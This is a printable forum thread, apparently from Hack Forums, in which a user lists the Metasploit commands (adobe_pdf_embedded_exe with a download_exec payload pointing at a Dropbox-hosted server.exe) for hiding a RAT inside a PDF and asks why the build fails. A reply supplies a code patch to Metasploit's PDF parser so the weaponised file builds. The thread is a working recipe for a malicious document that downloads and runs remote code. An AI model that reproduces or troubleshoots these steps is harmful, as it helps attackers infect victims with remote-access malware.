Hack Forums
Metasploit- incompatible pdf structure - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: Metasploit- incompatible pdf structure (/showthread.php?tid=4038354)



Metasploit- incompatible pdf structure - •^v^–[ bLacKn3x ]–^v^• - Feb 3, 2014

hi HF guys,

ich hav a problem with metasploit.

i would like to build in my rat in a pdf file.

my steps:

1st.- use exploit/windows/fileformat/adobe_pdf_embedded_exe

2nd. set my payload -set payload windows/download_exec

3rd. set INFILENAME C:/Users/******/Desktop/lol.pdf

4th. set url http://dl.dropbox/u/285928958/server.exe(example)

5th. exploit...

🤮🤮 i get this error: "Sorry, I'm picky. Incompatible PDF structure: key not found: "Root". Please
try a different PDF template."

I tried some pdf from year 2002 but it wont work !!!!

What can i do ?

THAnks all members 4 help me.

(sorry my english suxx)


* - goustapo2 - Jun 12, 2014

To fix this bug edit file C:\metasploit\apps\pro\msf3\lib\msf\core\exploit\pdf_parse.rb and change "read_pdf()" function to:
------
def read_pdf()
#stream = IO.read("#{datastore['INFILENAME']}")
stream = open("#{datastore['INFILENAME']}", "rb") {|io| io.read }

return stream
end

------

use notepad++ to edit


* - therealslimshaddy - Jun 30, 2014

please explain in detail the editing part cant get the editing part properly